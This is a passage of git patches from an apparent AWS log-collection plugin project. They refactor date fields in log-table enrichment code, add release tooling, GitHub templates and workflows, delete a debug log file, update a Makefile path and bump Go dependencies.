#refactor figure out how to get connection (account ID?) } - record.TpYear = int32(record.Timestamp.Year()) - record.TpMonth = int32(record.Timestamp.Month()) - record.TpDay = int32(record.Timestamp.Day()) + // convert to date in format yy-mm-dd + record.TpDate = record.Timestamp.Format("2006-01-02") return record, nil } diff --git a/aws_table/s3_server_access_log_table.go b/aws_table/s3_server_access_log_table.go index 0401eaab..88a462da 100644 --- a/aws_table/s3_server_access_log_table.go +++ b/aws_table/s3_server_access_log_table.go @@ -194,9 +194,8 @@ func (c *S3ServerAccessLogTable) EnrichRow(row any, sourceEnrichmentFields *enri if record.TpIndex == "" { record.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) } - record.TpYear = int32(record.Timestamp.Year()) - record.TpMonth = int32(record.Timestamp.Month()) - record.TpDay = int32(record.Timestamp.Day()) + // convert to date in format yy-mm-dd + record.TpDate = record.Timestamp.Format("2006-01-02") return record, nil } diff --git a/aws_table/vpc_flow_log_table.go b/aws_table/vpc_flow_log_table.go index ef38c551..69417150 100644 --- a/aws_table/vpc_flow_log_table.go +++ b/aws_table/vpc_flow_log_table.go @@ -74,17 +74,14 @@ func (c *VPCFlowLogLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichme // populate the year, month, day from start time if record.Timestamp != nil { - // TODO factor into function - record.TpYear = int32(record.Timestamp.In(time.UTC).Year()) - record.TpMonth = int32(record.Timestamp.In(time.UTC).Month()) - record.TpDay = int32(record.Timestamp.In(time.UTC).Day()) - + // convert to date in format yy-mm-dd + record.TpDate = record.Timestamp.In(time.UTC).Format("2006-01-02") record.TpTimestamp = helpers.UnixMillis(record.Timestamp.UnixNano() / int64(time.Millisecond)) } else if record.Start != nil { - record.TpYear = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Year()) - record.TpMonth = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Month()) - record.TpDay = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Day()) + // convert to date in format yy-mm-dd + // TODO is Start unix millis?? if so why do we convert it for TpTimestamp + record.TpDate = time.UnixMilli(*record.Start).Format("2006-01-02") //convert from unis seconds to milliseconds record.TpTimestamp = helpers.UnixMillis(*record.Start * 1000) From 63420115621b34a0b7005fda93aa1fdfbb22a299 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 13 Sep 2024 09:50:39 +0100 Subject: [PATCH 055/180] chore: added goreleaser --- .goreleaser.yml | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 .goreleaser.yml diff --git a/.goreleaser.yml b/.goreleaser.yml new file mode 100644 index 00000000..acd671b0 --- /dev/null +++ b/.goreleaser.yml @@ -0,0 +1,37 @@ +# This is an example goreleaser.yaml file with some sane defaults. +# Make sure to check the documentation at http://goreleaser.com +before: + hooks: + - go mod tidy +builds: + - env: + - CGO_ENABLED=0 + - GO111MODULE=on + - GOPRIVATE=github.com/turbot + goos: + - linux + - darwin + + goarch: + - amd64 + - arm64 + + id: "tailpipe" + binary: "{{ .ProjectName }}.plugin" +# flags: +# - -tags=netgo + +archives: + - format: gz + name_template: "{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}" + files: + - none* +checksum: + name_template: "{{ .ProjectName }}_{{ .Version }}_SHA256SUMS" + algorithm: sha256 +changelog: + sort: asc + filters: + exclude: + - "^docs:" + - "^test:" \ No newline at end of file From 27292c7df97a3c3197bbe2cb77d5fd0643b7bec7 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Fri, 13 Sep 2024 09:53:05 -0400 Subject: [PATCH 056/180] Delete op.log --- op.log | 25 ------------------------- 1 file changed, 25 deletions(-) delete mode 100644 op.log diff --git a/op.log b/op.log deleted file mode 100644 index 8d3d700e..00000000 --- a/op.log +++ /dev/null @@ -1,25 +0,0 @@ -{"time":"2024-08-28T17:04:42.010298+01:00","level":"INFO","msg":"Tailpipe CLI","source":"cli","app version":"0.0.0","log level":"INFO"} -{"time":"2024-08-28T17:04:42.012299+01:00","level":"INFO","msg":"starting parquet Writer","source":"cli","worker count":5} -{"time":"2024-08-28T17:04:52.162187+01:00","level":"INFO","msg":"[INFO] TailpipePluginServerWrapper AddObserver","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163284+01:00","level":"INFO","msg":"[INFO] AddObserver","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163402+01:00","level":"INFO","msg":"[INFO] Collect","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163546+01:00","level":"INFO","msg":"Initializing ArtifactSourceBase","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163614+01:00","level":"INFO","msg":"Initializing RowSourceBase 0x14000240008, impl 0x14000240008","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163621+01:00","level":"INFO","msg":"parquet.Writer.StartJobGroup","source":"cli","jobGroupId":"1724861092297","partitionName":"aws_cloudtrail_log.fs"} -{"time":"2024-08-28T17:04:52.163818+01:00","level":"INFO","msg":"closing collector - wait for executions to complete","source":"cli"} -{"time":"2024-08-28T17:04:52.163922+01:00","level":"INFO","msg":"Creating empty collection state","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.163969+01:00","level":"INFO","msg":"Initialized artifact_row_source.RowSourceBase","source":"tailpipe-plugin-aws","config":{"FileLayout":null,"JsonPath":null,"Paths":["/Users/kai/tailpipe_data/flaws_cloudtrail_logs"],"Extensions":[".gz"]}} -{"time":"2024-08-28T17:04:52.164176+01:00","level":"INFO","msg":"Default to default config","source":"tailpipe-plugin-aws","defaultConfig":null} -{"time":"2024-08-28T17:04:52.164229+01:00","level":"INFO","msg":"ArtifactSourceBase initCollectionState","source":"tailpipe-plugin-aws","FileLayout":null} -{"time":"2024-08-28T17:04:52.164282+01:00","level":"INFO","msg":"Initializing ArtifactCollectionState 0x140005225b0","source":"tailpipe-plugin-aws","fileLayout":null} -{"time":"2024-08-28T17:04:52.16434+01:00","level":"INFO","msg":"Initialized FileSystemSource","source":"tailpipe-plugin-aws","paths":["/Users/kai/tailpipe_data/flaws_cloudtrail_logs"],"extensions":{".gz":{}}} -{"time":"2024-08-28T17:04:52.164421+01:00","level":"INFO","msg":"[INFO] AddObserver","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.164454+01:00","level":"INFO","msg":"[INFO] AddObserver","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.164584+01:00","level":"INFO","msg":"Start collection","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:04:52.164618+01:00","level":"INFO","msg":"ArtifactSourceBase Collect","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:05:10.136903+01:00","level":"INFO","msg":"ArtifactSourceBase Collect complete","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:05:10.137066+01:00","level":"INFO","msg":"Source collection complete - waiting for enrichment","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:05:10.137101+01:00","level":"INFO","msg":"Enrichment complete","source":"tailpipe-plugin-aws"} -{"time":"2024-08-28T17:05:10.139196+01:00","level":"INFO","msg":"waiting for execution to complete","source":"cli","execution":"1724861092297"} -{"time":"2024-08-28T17:05:15.139914+01:00","level":"INFO","msg":"fileJobPool[T] - jobGroup complete","source":"cli","execution id":"1724861092297"} -{"time":"2024-08-28T17:05:17.167453+01:00","level":"INFO","msg":"closing fileJobPool[T]","source":"cli","job pool":{}} From 2b25f6babb13d5001d3cf7df2e424e185bd8eb78 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Fri, 13 Sep 2024 10:09:41 -0400 Subject: [PATCH 057/180] Add workflows and issue and PR templates --- .github/ISSUE_TEMPLATE/bug_report.md | 26 +++++++++++++++++++ .github/ISSUE_TEMPLATE/config.yml | 8 ++++++ .../feature-request---new-table.md | 11 ++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 20 ++++++++++++++ .github/PULL_REQUEST_TEMPLATE.md | 8 ++++++ .github/dependabot.yml | 15 +++++++++++ .github/workflows/golangci-lint.yml | 14 ++++++++++ .github/workflows/stale.yml | 17 ++++++++++++ .github/workflows/sync-labels.yml | 9 +++++++ 9 files changed, 128 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/feature-request---new-table.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/PULL_REQUEST_TEMPLATE.md create mode 100644 .github/dependabot.yml create mode 100644 .github/workflows/golangci-lint.yml create mode 100644 .github/workflows/stale.yml create mode 100644 .github/workflows/sync-labels.yml diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..899b841f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,26 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**Tailpipe version (`tailpipe -v`)** +Example: v0.3.0 + +**Plugin version (`tailpipe plugin list`)** +Example: v0.5.0 + +**To reproduce** +Steps to reproduce the behavior (please include relevant code and/or commands). + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 00000000..c4752cc3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: false +contact_links: + - name: Questions + url: https://turbot.com/community/join + about: GitHub issues in this repository are only intended for bug reports and feature requests. Other issues will be closed. Please ask and answer questions through the Turbot Slack community. + - name: Tailpipe CLI Bug Reports and Feature Requests + url: https://github.com/turbot/tailpipe/issues/new/choose + about: Tailpipe CLI has its own codebase. Bug reports and feature requests for those pieces of functionality should be directed to that repository. diff --git a/.github/ISSUE_TEMPLATE/feature-request---new-table.md b/.github/ISSUE_TEMPLATE/feature-request---new-table.md new file mode 100644 index 00000000..bdbcaee2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature-request---new-table.md @@ -0,0 +1,11 @@ +--- +name: Feature request - New table +about: Suggest a new table for this project +title: Add table aws_ +labels: enhancement, new table +assignees: '' + +--- + +**References** +Add any related links that will help us understand the resource, including vendor documentation, related GitHub issues, and Go SDK documentation. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000..11fc491e --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: enhancement +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 00000000..73fcca3f --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,8 @@ +# Example query results +
+ Results + +``` +Add example SQL query results here (please include the input queries as well) +``` +
diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..bfeed3eb --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,15 @@ +# To get started with Dependabot version updates, you'll need to specify which +# package ecosystems to update and where the package manifests are located. +# Please see the documentation for all configuration options: +# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates + +version: 2 +updates: + - package-ecosystem: "gomod" # See documentation for possible values + directory: "/" # Location of package manifests + schedule: + interval: "weekly" + pull-request-branch-name: + separator: "-" + labels: + - "dependencies" diff --git a/.github/workflows/golangci-lint.yml b/.github/workflows/golangci-lint.yml new file mode 100644 index 00000000..977e7ceb --- /dev/null +++ b/.github/workflows/golangci-lint.yml @@ -0,0 +1,14 @@ +name: golangci-lint +on: + push: + tags: + - v* + branches: + - main + pull_request: + +jobs: + golangci_lint_workflow: + uses: turbot/steampipe-workflows/.github/workflows/golangci-lint.yml@main + with: + timeout: 20m diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 00000000..6a30f3b3 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,17 @@ +name: Stale Issues and PRs +on: + schedule: + - cron: "30 23 * * *" + workflow_dispatch: + inputs: + dryRun: + description: Set to true for a dry run + required: false + default: "false" + type: string + +jobs: + stale_workflow: + uses: turbot/steampipe-workflows/.github/workflows/stale.yml@main + with: + dryRun: ${{ github.event.inputs.dryRun }} diff --git a/.github/workflows/sync-labels.yml b/.github/workflows/sync-labels.yml new file mode 100644 index 00000000..6a2e42a5 --- /dev/null +++ b/.github/workflows/sync-labels.yml @@ -0,0 +1,9 @@ +name: Sync Labels +on: + schedule: + - cron: "30 22 * * 1" + workflow_dispatch: + +jobs: + sync_labels_workflow: + uses: turbot/steampipe-workflows/.github/workflows/sync-labels.yml@main From 81df0a3e70eeb0e782de608633f35740061969ce Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 13 Sep 2024 16:19:54 +0100 Subject: [PATCH 058/180] chore: updated Makefile --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 82783fe3..85a49469 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,7 @@ TAILPIPE_INSTALL_DIR ?= ~/.tailpipe BUILD_TAGS = netgo install: - go build -o $(TAILPIPE_INSTALL_DIR)/plugins/tailpipe-plugin-aws.plugin -tags "${BUILD_TAGS}" *.go + go build -o $(TAILPIPE_INSTALL_DIR)/plugins/hub.tailpipe.io/plugins/turbot/aws@latest/tailpipe-plugin-aws.plugin -tags "${BUILD_TAGS}" *.go ## Paths #PLUGIN_NAME=tailpipe-plugin-aws.plugin From 5b01504ffb30bf1c17c10791fc0a8aa534399984 Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 28 Oct 2024 16:30:03 +0000 Subject: [PATCH 059/180] updated go.mod --- go.mod | 56 +++++++++++----------- go.sum | 145 ++++++++++++++++++++++++++------------------------------- 2 files changed, 95 insertions(+), 106 deletions(-) diff --git a/go.mod b/go.mod index 32c9e338..7e54107e 100644 --- a/go.mod +++ b/go.mod @@ -19,7 +19,7 @@ require ( cloud.google.com/go/storage v1.42.0 // indirect github.com/AdaLogics/go-fuzz-headers v0.0.0-20230811130428-ced1acdcaa24 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect - github.com/Microsoft/hcsshim v0.11.4 // indirect + github.com/Microsoft/hcsshim v0.11.5 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/agext/levenshtein v1.2.3 // indirect github.com/apparentlymart/go-cidr v1.1.0 // indirect @@ -49,14 +49,15 @@ require ( github.com/bmatcuk/doublestar v1.3.4 // indirect github.com/briandowns/spinner v1.23.0 // indirect github.com/btubbs/datetime v0.1.1 // indirect - github.com/containerd/containerd v1.7.11 // indirect + github.com/containerd/containerd v1.7.18 // indirect + github.com/containerd/errdefs v0.1.0 // indirect github.com/containerd/log v0.1.0 // indirect github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/fatih/color v1.15.0 // indirect + github.com/fatih/color v1.17.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect github.com/fsnotify/fsnotify v1.7.0 // indirect - github.com/gabriel-vasile/mimetype v1.4.2 // indirect + github.com/gabriel-vasile/mimetype v1.4.3 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect github.com/go-git/go-git/v5 v5.12.0 // indirect github.com/go-logr/logr v1.4.2 // indirect @@ -64,7 +65,7 @@ require ( github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.15.5 // indirect + github.com/go-playground/validator/v10 v10.20.0 // indirect github.com/goccy/go-yaml v1.11.2 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect @@ -81,9 +82,9 @@ require ( github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/go-safetemp v1.0.0 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect - github.com/hashicorp/go-version v1.6.0 // indirect + github.com/hashicorp/go-version v1.7.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect - github.com/hashicorp/hcl/v2 v2.20.0 // indirect + github.com/hashicorp/hcl/v2 v2.20.1 // indirect github.com/hashicorp/terraform-registry-address v0.2.1 // indirect github.com/hashicorp/terraform-svchost v0.1.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect @@ -96,15 +97,17 @@ require ( github.com/jackc/pgpassfile v1.0.0 // indirect github.com/jackc/pgproto3/v2 v2.3.3 // indirect github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect + github.com/jackc/pgx/v5 v5.6.0 // indirect + github.com/jackc/puddle/v2 v2.2.1 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/karrick/gows v0.3.0 // indirect - github.com/klauspost/compress v1.17.0 // indirect - github.com/leodido/go-urn v1.2.4 // indirect + github.com/klauspost/compress v1.17.2 // indirect + github.com/leodido/go-urn v1.4.0 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-isatty v0.0.19 // indirect - github.com/mattn/go-runewidth v0.0.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mattn/go-runewidth v0.0.15 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect @@ -115,23 +118,23 @@ require ( github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/opencontainers/go-digest v1.0.0 // indirect github.com/opencontainers/image-spec v1.1.0 // indirect - github.com/pelletier/go-toml/v2 v2.1.0 // indirect + github.com/pelletier/go-toml/v2 v2.2.2 // indirect github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/robfig/cron/v3 v3.0.1 // indirect - github.com/sagikazarmark/locafero v0.3.0 // indirect + github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/sirupsen/logrus v1.9.3 // indirect github.com/smartystreets/goconvey v1.8.1 // indirect github.com/sourcegraph/conc v0.3.0 // indirect - github.com/spf13/afero v1.10.0 // indirect - github.com/spf13/cast v1.5.1 // indirect - github.com/spf13/cobra v1.7.0 // indirect + github.com/spf13/afero v1.11.0 // indirect + github.com/spf13/cast v1.6.0 // indirect + github.com/spf13/cobra v1.8.1 // indirect github.com/spf13/pflag v1.0.5 // indirect - github.com/spf13/viper v1.17.0 // indirect + github.com/spf13/viper v1.19.0 // indirect github.com/stevenle/topsort v0.2.0 // indirect github.com/stretchr/testify v1.9.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect @@ -141,18 +144,18 @@ require ( github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/pipes-sdk-go v0.9.1 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect - github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b // indirect + github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 // indirect github.com/ulikunitz/xz v0.5.10 // indirect github.com/xlab/treeprint v1.2.0 // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect - github.com/zclconf/go-cty v1.14.3 // indirect + github.com/zclconf/go-cty v1.14.4 // indirect github.com/zclconf/go-cty-yaml v1.0.3 // indirect go.opencensus.io v0.24.0 // indirect go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 // indirect go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect - go.opentelemetry.io/otel v1.24.0 // indirect - go.opentelemetry.io/otel/metric v1.24.0 // indirect - go.opentelemetry.io/otel/trace v1.24.0 // indirect + go.opentelemetry.io/otel v1.26.0 // indirect + go.opentelemetry.io/otel/metric v1.26.0 // indirect + go.opentelemetry.io/otel/trace v1.26.0 // indirect go.uber.org/atomic v1.9.0 // indirect go.uber.org/multierr v1.9.0 // indirect golang.org/x/crypto v0.25.0 // indirect @@ -160,10 +163,10 @@ require ( golang.org/x/mod v0.17.0 // indirect golang.org/x/net v0.27.0 // indirect golang.org/x/oauth2 v0.21.0 // indirect - golang.org/x/sync v0.7.0 // indirect + golang.org/x/sync v0.8.0 // indirect golang.org/x/sys v0.22.0 // indirect golang.org/x/term v0.22.0 // indirect - golang.org/x/text v0.16.0 // indirect + golang.org/x/text v0.17.0 // indirect golang.org/x/time v0.5.0 // indirect golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect @@ -171,13 +174,12 @@ require ( google.golang.org/genproto v0.0.0-20240722135656-d784300faade // indirect google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade // indirect - google.golang.org/grpc v1.64.1 // indirect + google.golang.org/grpc v1.66.0 // indirect google.golang.org/protobuf v1.34.2 // indirect gopkg.in/ini.v1 v1.67.0 // indirect - gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect oras.land/oras-go/v2 v2.5.0 // indirect - sigs.k8s.io/yaml v1.3.0 // indirect + sigs.k8s.io/yaml v1.4.0 // indirect ) require ( diff --git a/go.sum b/go.sum index 2a987830..8e09cb62 100644 --- a/go.sum +++ b/go.sum @@ -3,7 +3,6 @@ cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMT cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= @@ -16,7 +15,6 @@ cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOY cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= @@ -174,7 +172,6 @@ cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0Zeo cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= @@ -198,10 +195,10 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03 github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= -github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= -github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM= -github.com/Microsoft/hcsshim v0.11.4 h1:68vKo2VN8DE9AdN4tnkWnmdhqdbpUFM8OF3Airm7fz8= -github.com/Microsoft/hcsshim v0.11.4/go.mod h1:smjE4dvqPX9Zldna+t5FG3rnoHhaB7QYxPRqGcpAD9w= +github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= +github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= +github.com/Microsoft/hcsshim v0.11.5 h1:haEcLNpj9Ka1gd3B3tAEs9CpE0c+1IhoL59w/exYU38= +github.com/Microsoft/hcsshim v0.11.5/go.mod h1:MV8xMfmECjl5HdO7U/3/hFVnkmSBjAjmA09d4bExKcU= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= @@ -286,13 +283,15 @@ github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWH github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/containerd/cgroups v1.1.0 h1:v8rEWFl6EoqHB+swVNjVoCJE8o3jX7e8nqBGPLaDFBM= github.com/containerd/cgroups v1.1.0/go.mod h1:6ppBcbh/NOOUU+dMKrykgaBnK9lCIBxHqJDGwsa1mIw= -github.com/containerd/containerd v1.7.11 h1:lfGKw3eU35sjV0aG2eYZTiwFEY1pCzxdzicHP3SZILw= -github.com/containerd/containerd v1.7.11/go.mod h1:5UluHxHTX2rdvYuZ5OJTC5m/KJNs0Zs9wVoJm9zf5ZE= +github.com/containerd/containerd v1.7.18 h1:jqjZTQNfXGoEaZdW1WwPU0RqSn1Bm2Ay/KJPUuO8nao= +github.com/containerd/containerd v1.7.18/go.mod h1:IYEk9/IO6wAPUz2bCMVUbsfXjzw5UNP5fLz4PsUygQ4= github.com/containerd/continuity v0.4.2 h1:v3y/4Yz5jwnvqPKJJ+7Wf93fyWoCB3F5EclWG023MDM= github.com/containerd/continuity v0.4.2/go.mod h1:F6PTNCKepoxEaXLQp3wDAjygEnImnZ/7o4JzpodfroQ= +github.com/containerd/errdefs v0.1.0 h1:m0wCRBiu1WJT/Fr+iOoQHMQS/eP5myQ8lCv4Dz5ZURM= +github.com/containerd/errdefs v0.1.0/go.mod h1:YgWiiHtLmSeBrvpw+UfPijzbLaB77mEG1WwJTDETIV0= github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= -github.com/cpuguy83/go-md2man/v2 